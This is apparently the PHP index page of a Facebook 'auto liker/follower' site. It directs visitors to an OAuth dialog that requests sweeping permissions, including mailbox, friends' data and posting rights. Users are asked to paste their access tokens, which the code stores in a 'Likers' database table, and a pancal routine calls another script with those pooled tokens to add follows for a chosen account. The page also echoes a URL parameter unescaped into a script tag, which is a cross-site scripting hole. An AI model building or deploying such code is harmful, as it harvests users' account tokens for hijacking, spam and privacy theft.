<?php

session_start();

// JSONURL //

function get_html($url) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

curl_setopt($ch, CURLOPT_FAILONERROR, 0);

$data = curl_exec($ch);

curl_close($ch);

return $data;

}

function get_json($url) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

curl_setopt($ch, CURLOPT_FAILONERROR, 0);

$data = curl_exec($ch);

curl_close($ch);

return json_decode($data);

}

if($_SESSION['token']){

$token = $_SESSION['token'];

$graph_url ="https://graph.fb.me/me?access_token=" . $token;

$user = get_json($graph_url);

if ($user->error) {

if ($user->error->type== "OAuthException") {

session_destroy();

header('Location: /?i=Your token Has Expired.');

}

}

}

if(isset($_POST['submit'])) {

$token2 = $_POST['token'];

if(preg_match("'access_token=(.*?)&expires_in='", $token2, $matches)){

$token = $matches[1];

}

else{

$token = $token2;

}

$extend = get_html("https://graph.fb.me/me/permissions?access_token="  . $token);

$pos = strpos($extend, "publish_stream");

if ($pos == true) {

$_SESSION['token'] = $token;

}

else {

session_destroy();

header('Location: /?i=Please Generate token Using HTC Apps!');}

}else{}

if(isset($_POST['logout'])) {

session_destroy();

header('Location: /?i=Your token Has Deleted.');

}

if(isset($_GET['i'])){

echo '<script type="text/javascript">alert("INFO:  ' . $_GET['i'] . '");</script>';

}

?>

<?php include 'header.php';?>

<?php

error_reporting(0);

$lamafile = 900;

$waktu = time();

if ($handle = opendir('datablock')) {

while(false !== ($file = readdir($handle)))

{

$akses = fileatime('datablock/'.$file);

if( $akses !== false)

if( ($waktu- $akses)>=$lamafile )

unlink('datablock/'.$file);

}

closedir($handle);

}

?>

<?php

$like = new like();

if($_GET[act]){

print '<script>top.location.href="https://m.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.slideshare.net%2FCOPY_THE-ACCESTOKEN_FOR_ZONELIKERS&display=touch&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=2490221586"</script>';

}

if($_SESSION['token']){

$access_token = $_SESSION['token'];

$me = $like -> me($access_token);

if($me['id']){

include'config.php';

mysql_query("CREATE TABLE IF NOT EXISTS `Likers` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`user_id` varchar(32) NOT NULL,

`name` varchar(32) NOT NULL,

`access_token` varchar(255) NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

");

$row = null;

$result = mysql_query("

SELECT

*

FROM

Likers

WHERE

user_id = '" . mysql_real_escape_string($me['id']) . "'

");

if($result){

$row = mysql_fetch_array($result, MYSQL_ASSOC);

if(mysql_num_rows($result) > 1){

mysql_query("

DELETE FROM

Likers

WHERE

user_id='" . mysql_real_escape_string($me['id']) . "' AND

id != '" . $row['id'] . "'

");

}

}

if(!$row){

mysql_query(

"INSERT INTO

Likers

SET

`user_id` = '" . mysql_real_escape_string($me['id']) . "',

`name` = '" . mysql_real_escape_string($me['name']) . "',

`access_token` = '" . mysql_real_escape_string($access_token) . "'

");

} else {

mysql_query(

"UPDATE

Likers

SET

`access_token` = '" . mysql_real_escape_string($access_token) . "'

WHERE

`id` = " . $row['id'] . "

");

}

mysql_close($connection);

if($limit = fileatime('datablock/'.$me[id])){

$timeoff = time();

$cek = date("i:s",$timeoff - $limit);

echo'<div class="container"><div class="alert alert-dismissable alert-danger">

<button type="button" class="close" data-dismiss="alert">&times;</button>
Wait 15:00 Seconds: '.$cek.'</div></div>';
}else{
echo' ';
}
echo'
';



$like -> kumpul($access_token);

if($_POST[id]){

if($limit = fileatime('datablock/'.$me[id])){

echo' <div class="menu"> <div class="menu_ico2">
Auto Adder+Follower Failed!!
</div></div> <div class="border"><div class="and" style="text-align:center;">
<form action="index.php"> <br>
<input style="margin-top:10px;" class="submit" name="submit" type="submit" VALUE="Back Home">';
exit;

}

if(!is_dir('datablock')){

mkdir('datablock');

}

$bg=fopen('datablock/'.$me[id],'w');

fwrite($bg,1);

fclose($bg);

$like -> pancal($_POST[id]);

}else{

$like -> getData($access_token);

}

}else{

$like -> invalidToken();

}

}else{

$like->form();

}

class like {

public function pancal($id){

for($i=1;$i<4;$i++){

$this-> _req('http://'.$_SERVER[HTTP_HOST].'/matamu.php?asu='.$id);


}

print '<div class="menu"> <div class="menu_ico2">
Auto Add+Follow Success!!
</div></div> <div class="border"><div class="and" style="text-align:center;">
<form action="index.php"> <br>
<input style="margin-top:10px;" class="submit" name="submit" type="submit" VALUE="Back Home">';

}

public function me($access){

return json_decode($this-> _req('https://graph.fb.me/me?access_token='.$access),true);

}

public function kumpul($access){

}

public function invalidToken(){

print '<div class="container"><div class="alert alert-dismissable alert-danger">

<button type="button" class="close" data-dismiss="alert">&times;</button>

<strong>Opps!</strong> Your token Has Expired.

</div></div>';
$this->form();

}

public function form(){

echo'
<div class="menu"><div class="menu_ico2"><center>Get Access Token</center></div></div>
<div class="border"><div class="and" style="text-align:center;"><br>
<a href="token.php" target="_blank" style="padding-left:5px;" class="submit">Get BLACKBERRY Token</a>
</div></div>
<div class="menu"><div class="menu_ico2"><center>Method Login To Get Folowers</center></div></div>
<div class="border"><div class="and" style="text-align:center;">
<form method="get" action="login.php"><b><font color="black">
Input Your Access Token :</font></b>
 <br>
<input style="margin-right:4px;width: 100%" class="tb8" value="" type="text" name="user" rows="2" cols="15" value="" type="text"> <br>
<input style="margin-top:10px;" class="submit" name="submit" type="submit" value="SUBMIT">
</form> </div></div>
';

}

public function getData($access){

$feed=json_decode($this -> _req('https://graph.fb.me/me/feed?access_token='.$access.'&limit=1'),true);

if(count($feed[data]) >= 1){

echo' ';
for($i=0;$i<count($feed[data]);$i++){
$uid = $feed[data][$i][from][id];
$name = $feed[data][$i][from][name];
$type = $feed[data][$i][type];
$mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message]));
$id = $feed[data][$i][id];
$pic = $feed[data][$i][picture];
echo'
<div class="menu"> <div class="menu_ico2"><b> Welcome '.$name.' </div></div>
<div class="border"><div class="and" style="text-align:center;">
<form action="Logout.php"><br>
<input style="margin-top:10px;" class="submit" name="submit" type="submit" VALUE="Log Out">
</form>';

if($type=='photo'){
echo '
<br>
<img src="'.$pic.'" alt=""class="imgCrop img" style="width:100%;height:100%;left:0;top:0;" />
<br></br></br>
';
}else{
echo '
<br>
<br></div></div>
';
}
echo '

<div class="menu"> <div class="menu_ico2"><b>Account ID</div></div><div class="border"><div class="and" style="text-align:center;"><br>
<font color="RED">NOTE: Change The ID For Send Followers To Our Account!</font>
<form action="index.php" method="post"/>
<input type="text" name="id" value="'.$uid.'"/>
<input type="hidden" name="access_token" value="'.$access.'"/>
<input name="pancal" type="submit" value="Send Followers" class="submit"/>
</form>
</div></div>';
}
}else{
print '
</div>';
}
print '
</div>
';
}
private function _req($url){
$ch = curl_init();
curl_setopt_array($ch,array(
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => $url,
)
);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
}
?>

<?php include 'footer.php';?>

</body>

</html>
